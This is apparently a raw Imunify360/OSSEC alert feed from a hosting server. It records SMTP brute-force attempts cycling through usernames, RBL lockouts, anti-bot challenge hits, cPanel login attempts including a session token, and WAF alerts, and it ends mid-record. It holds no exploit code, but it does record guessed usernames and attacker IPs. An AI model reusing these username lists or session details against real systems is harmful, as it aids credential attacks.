IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:74c3915cf70d89237ba6d91e39109c4d1d870590||Title:j1iaby5vz8t7elz||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 14:05:42 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 14:05:51 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 14:05:53 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:55126: 535 Incorrect authentication data (set_id=maciek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 14:06:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:50836: 535 Incorrect authentication data (set_id=webcall)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 14:06:41 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:14:06:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 14:06:39 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 14:06:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:52556: 535 Incorrect authentication data (set_id=toko)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:14:06:39 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 14:06:42 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 14:06:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:23228: 535 Incorrect authentication data (set_id=ideas)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:06:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:19678: 535 Incorrect authentication data (set_id=spectator)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 14:06:34 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:06:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:26850: 535 Incorrect authentication data (set_id=techsupport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 14:06:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:4034: 535 Incorrect authentication data (set_id=dgodoy)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:07:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:63990: 535 Incorrect authentication data (set_id=yih)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 14:06:29 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:07:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:3274: 535 Incorrect authentication data (set_id=ola)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 14:07:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:63588: 535 Incorrect authentication data (set_id=noriko)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 14:07:31 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:07:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:21522: 535 Incorrect authentication data (set_id=yih)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 14:07:25 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 14:07:26 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 14:07:30 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 14:07:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:56292: 535 Incorrect authentication data (set_id=rimma)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 14:07:31 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 14:07:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:28908: 535 Incorrect authentication data (set_id=xu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 14:07:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:7952: 535 Incorrect authentication data (set_id=referent)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:14:09:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066835&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781705344 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 14:08:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:44728: 535 Incorrect authentication data (set_id=bone)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:14:09:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12753043&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781705345 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 14:08:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:21374: 535 Incorrect authentication data (set_id=donna)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 14:08:31 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 14:08:35 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 14:08:43 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.57.50.250
country_id: 2077456
description:
203.57.50.250 - - [17/Jun/2026:14:09:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6776422&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781705346 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.50.250


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 14:08:23 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 14:08:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:49532: 535 Incorrect authentication data (set_id=michal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:08:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:11576: 535 Incorrect authentication data (set_id=umfrage)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:08:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:29424: 535 Incorrect authentication data (set_id=nix)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 14:08:25 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 14:08:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:28980: 535 Incorrect authentication data (set_id=mig)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 109.79.214.71
country_id: 2963597
description:
109.79.214.71 - - [17/Jun/2026:14:08:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9661847&pdata=https%253A%252F%252Fcfpj.tg%252Fnadu-316945tetidm39fat.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781705333 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/nadu-316945tetidm39fat.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:109.79.214.71


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:09:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:52072: 535 Incorrect authentication data (set_id=uv)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 14:09:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:57574: 535 Incorrect authentication data (set_id=already)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.64.85
country_id: 1831722
description:
[2026-06-17 14:10:05 +0000] info [cpaneld] 157.85.64.85 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 14:09:23 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.33
country_id: 2635167
description:
[2026-06-17 14:09:30 +0000] info [cpaneld] 5.230.153.33 NEW frtwilql:kfxUtE5RZecnbxYa address=5.230.153.33,app=cpaneld,creator=frtwilql,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 14:09:31 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 14:09:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:25462: 535 Incorrect authentication data (set_id=abcdefg1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 14:09:27 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 14:09:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:8820: 535 Incorrect authentication data (set_id=random)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 14:09:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:5590: 535 Incorrect authentication data (set_id=huangj)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 14:09:47 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 14:09:26 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:09:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:61766: 535 Incorrect authentication data (set_id=jlking5)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:10:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:38188: 535 Incorrect authentication data (set_id=c)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 14:10:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:62314: 535 Incorrect authentication data (set_id=etc)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:10:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:32714: 535 Incorrect authentication data (set_id=hpc)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 14:10:55 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:63836: 535 Incorrect authentication data (set_id=136113)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 14:10:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:34200: 535 Incorrect authentication data (set_id=etc)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 14:10:22 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 14:10:25 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 14:10:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:34854: 535 Incorrect authentication data (set_id=pengliang)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 14:10:53 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 14:10:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:38842: 535 Incorrect authentication data (set_id=urban)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 14:10:31 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 14:10:35 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 14:11:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:38904: 535 Incorrect authentication data (set_id=raymond)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 14:11:45 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 14:11:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:40278: 535 Incorrect authentication data (set_id=sami)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.117.163.103
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/1647335766 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 14:11:26 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 14:11:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:11478: 535 Incorrect authentication data (set_id=relation)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:11:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:30950: 535 Incorrect authentication data (set_id=debug)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 14:11:27 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:11:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:14704: 535 Incorrect authentication data (set_id=system)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 14:11:45 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 14:11:30 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 14:11:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:56132: 535 Incorrect authentication data (set_id=wangxin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:12:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:55804: 535 Incorrect authentication data (set_id=mysql)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 14:12:32 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 14:12:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:60024: 535 Incorrect authentication data (set_id=cpanel.m)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.86.212.119
country_id: 6252001
description:
34.86.212.119 - - [17/Jun/2026:14:12:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10012058&pdata=https%253A%252F%252Fnq42gl.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781705557 HTTP/2.0" 302 0 nq42gl.mediatopnews.tg "https://nq42gl.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.86.212.119


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 14:12:55 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 14:12:25 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-17 14:12:45 +0000] info [cpaneld] 185.55.240.13 - esso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 14:12:48 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:12:57 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:21396: 535 Incorrect authentication data (set_id=admin.test)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 14:12:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:16888: 535 Incorrect authentication data (set_id=ap1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 14:12:27 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 14:12:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:52664: 535 Incorrect authentication data (set_id=analysis)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 14:12:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:15554: 535 Incorrect authentication data (set_id=pavlov)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:13:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:17426: 535 Incorrect authentication data (set_id=moe)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 14:13:32 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 14:14:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:49668: 535 Incorrect authentication data (set_id=jsuarez)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 14:13:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:21424: 535 Incorrect authentication data (set_id=14)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 14:13:28 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 14:13:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:57800: 535 Incorrect authentication data (set_id=jsuarez)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 14:13:40 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 14:13:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:28280: 535 Incorrect authentication data (set_id=msi)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 14:13:29 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
